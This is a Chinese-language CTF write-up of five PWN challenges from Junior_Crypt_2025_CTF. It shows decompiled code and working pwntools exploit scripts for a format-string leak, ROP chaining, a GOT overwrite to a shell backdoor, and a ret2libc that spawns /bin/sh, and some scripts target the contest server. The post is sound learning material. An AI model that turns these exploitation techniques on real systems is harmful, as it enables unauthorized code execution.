背景
这几天抽空做了一下Junior_Crypt_2025_CTF,发现题目风格和国内还是很不一样的。
分享一下我的做题思路!
PWN
分享一下,复现资源(如有违权,联系删除!)
夸克网盘-https://pan.quark.cn/s/3c3948289f31
提取码:g4Xf
ChattyParrot
先放到ida里看一下主函数的伪c代码
int __fastcall main(int argc, const char **argv, const char **envp)
{
const char *src; // [rsp+8h] [rbp-8h]
init_streams(argc, argv, envp);
src = getenv("FLAG_VAL");
if ( !src )
{
fwrite("FLAG_VAL not set!\n", 1uLL, 0x12uLL, stderr);
exit(1);
}
strncpy(SECRET, src, 0xFFuLL);
printf("%s", "Input your phrase:");
vuln();
return 0;
}
这边注意一下,src指针在栈内
const char *src; // [rsp+8h] [rbp-8h]
配合一下vuln函数的格式化字符泄露
int vuln()
{
char buf[256]; // [rsp+0h] [rbp-100h] BYREF
read(0, buf, 0x100uLL);
return printf(buf);
}
在ubuntu中checksec确定amd64(x64),通常栈顶esp对应%7$(一般传参先放在几个寄存器rdi rsi rdx rcx r8 r9之后才是栈顶)但是通过测试发现esp对应%6$这里知道偏移,基本上就可以算出env的偏移,这里知道是41,可以考虑写脚本或者nc手动输入%41$s即可
这里多调试几次,详细截图找不到了,但是应该能懂。

注意,本地调试需要设置一个环境变量
env = {"FLAG_VAL": "H&NCTF{test_flag}"}
p = process("./ChattyParrot", env=env)
感想,这个题目卡的挺久。事后反思了一下发现思维定势,想的太难了!
GoldenByte
签到题,先看一下伪c
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+8h] [rbp-8h] BYREF
int v5; // [rsp+Ch] [rbp-4h]
init_streams(argc, argv, envp);
v5 = 0;
v4 = 0;
puts("--- 'Golden Byte' Lottery ---");
printf("Ready to test your luck? Enter your lottery ticket number: > ");
__isoc99_scanf("%d", &v4);
printf("\nChecking ticket number %d...\n", v4);
v5 = v4;
if ( v4 == -1092551191 )
jackpot();
else
puts("Sorry, your ticket didn't win. Better luck next time!");
return 0;
}
------------------------------------------------------------
int jackpot()
{
const char *s; // [rsp+8h] [rbp-8h]
s = getenv("FLAG_VAL");
return puts(s);
}
显然,v4为-1092551191即可直接nc
StackSmasher
这里主函数直接进入fuc函数
int func()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
printf("%s", "Input username:");
read(0, buf, 0x80uLL);
return printf("Your name is %s", buf);
}
--------------------------------------
int win()
{
int first; // eax
const char *s; // [rsp+8h] [rbp-8h]
s = getenv("FLAG_VAL");
first = first;
if ( first )
{
first = second;
if ( second )
return puts(s);
}
return first;
}
---------------------------------------
void step1()
{
first = 1;
}
---------------------------------------
void step2()
{
second = 1;
}
显然(不懂的可以通过调试测试一下,b"a"32 + b"b"8 + p64(step1_add) + p64(1)会发现step1返回地址(p64(1),因此我们将p64(1)替换成step2_add))可以通过返回地址->step1->step2->win函数即可
from pwn import *
p = remote("ctf.mf.grsu.by", 9078)
#p = process("./StackSmasher")
step1_add = 0x4011A4
step2_add = 0x4011B5
win_add = 0x401166
payload = b"a"*32 + b"b"*8 + p64(step1_add) + p64(step2_add) + p64(win_add)
#gdb.attach(p)
p.sendafter(b"username:",payload)
p.interactive()
NeuralNet
感觉这道题最难了,伪c
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int n4; // [rsp+Ch] [rbp-14h] BYREF
__int64 v4; // [rsp+10h] [rbp-10h] BYREF
_QWORD *v5; // [rsp+18h] [rbp-8h] BYREF
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
puts("--- Neural Net Simulator v0.1 (by Alex the Intern) ---");
printf("Prediction module address (predict_outcome): %p\n", predict_outcome);
while ( 1 )
{
puts("\nModel Control Menu:");
puts("1. Train model (train_model)");
puts("2. Make a prediction (predict_outcome)");
puts("3. Neural Intervention (debug)");
puts("4. Exit");
printf("> ");
__isoc99_scanf("%d", &n4);
if ( n4 == 4 )
{
puts("Saving model... Shutting down.");
exit(0);
}
if ( n4 > 4 )
{
LABEL_12:
puts("Unknown operation. The model is not responding.");
}
else
{
switch ( n4 )
{
case 3:
printf("Enter 'neuron' address to modify (hex): > ");
__isoc99_scanf("%lx", &v5);
printf("Enter new 'neuron' weight (hex): > ");
__isoc99_scanf("%lx", &v4);
*v5 = v4;
printf("Weight at address 0x%lx successfully modified.\n", v5);
break;
case 1:
train_model();
break;
case 2:
predict_outcome();
break;
default:
goto LABEL_12;
}
}
}
}
这里我们看一下两个关键点
printf("Prediction module address (predict_outcome): %p\n", predict_outcome);
因为开了PIE保护,通过predict函数的地址泄露可以计算main_add

main_add = leak_precome - 0x11E2即可
printf("Enter 'neuron' address to modify (hex): > ");
__isoc99_scanf("%lx", &v5);
printf("Enter new 'neuron' weight (hex): > ");
__isoc99_scanf("%lx", &v4);
*v5 = v4;
后门函数
int unlock_secret_research_data()
{
puts("\n*** HIDDEN CORRELATION DETECTED! ***");
puts("Access granted to 'Lead Data Scientist' research data...");
puts("You've gained root access to the main dataset server.");
return system("/bin/sh");
}
这里有一个任意地址写入,这个时候我们自然想到修改某个函数比如printf,但是这一轮结束会有多个printf显然不太合适,puts又需要修改参数(text段不能写入,可以尝试一下修改put、printf会报错,别问我怎么知道的。)最后发现exit()函数
附上脚本
from pwn import *
context.log_level = 'debug' # 开启调试信息
libc = ELF("libc.so.6")
elf = ELF("N")
#p = process("N")
p = remote("ctf.mf.grsu.by" ,9076)
"""
注意基地址算出后三位应为000
思路1 通过pre_come函数泄漏出main_add 主函数开启PIE
思路2 直接通过exit()修改后门地址
思路3 通过菜单4getshell
"""
p.recvuntil(b"(predict_outcome):")
precome_add = int(p.recvline().decode().strip(),16)
print("precome_add------>",hex(precome_add))
main_add = precome_add - 0x11E2
print("mian_add-------->",hex(main_add))
printf_got = elf.got["printf"] + main_add
p.sendlineafter(b"> ",b"3")
back = 0x1189 + main_add
exit_got = main_add + elf.got["exit"]
p.sendlineafter(b"'neuron' address ",hex(exit_got)[2:].encode())
#gdb.attach(p)
p.sendlineafter(b" weight ",hex(back)[2:].encode())
#gdb.attach(p)
p.interactive()
KindAuthor
国内老套了
puts泄露libc地址计算sys函数getshell
ssize_t func()
{
_BYTE buf[32]; // [rsp+0h] [rbp-20h] BYREF
return read(0, buf, 0x80uLL);
}
脚本是本地打通的
from pwn import *
# 思路1通过fuc函数 栈溢出 puts_got函数泄漏libc地址
# 思路2通过libc地址计算sys函数
context.log_level = 'debug'
p = process(['./ld-linux-x86-64.so.2', '--library-path', '.', './KindAuthor']) # 注意本地需要改一下libc以及so文件
libc = ELF("libc.so.6")
elf = ELF("KindAuthor")
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
print("puts_got----------",hex(puts_got))
main_add = 0x40114F
rdi_ret = 0x040114a
payload = b'a'*32 + b"b" * 8 + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_add) # 设置main返回地址
p.sendlineafter(b" data:",payload)
leak = p.recv()
puts_real = u64(p.recv(6)+b"\0\0")
print("puts_real------->",hex(puts_real))
libc_base = puts_real - libc.symbols["puts"]
print("libc_base--------->",hex(libc_base))
system = libc_base + libc.symbols["system"]
bin_ = libc_base + next(libc.search(b'/bin/sh'))
ret = 0x0401016
payload = b"a"*32 + b"b"*8 + p64(ret)+p64(rdi_ret) + p64(bin_) + p64(system)
p.sendline(payload)
p.interactive()
希望对大家有帮助,不喜勿怪
如果有什么想法,可以发评论进行讨论
浙公网安备 33010602011771号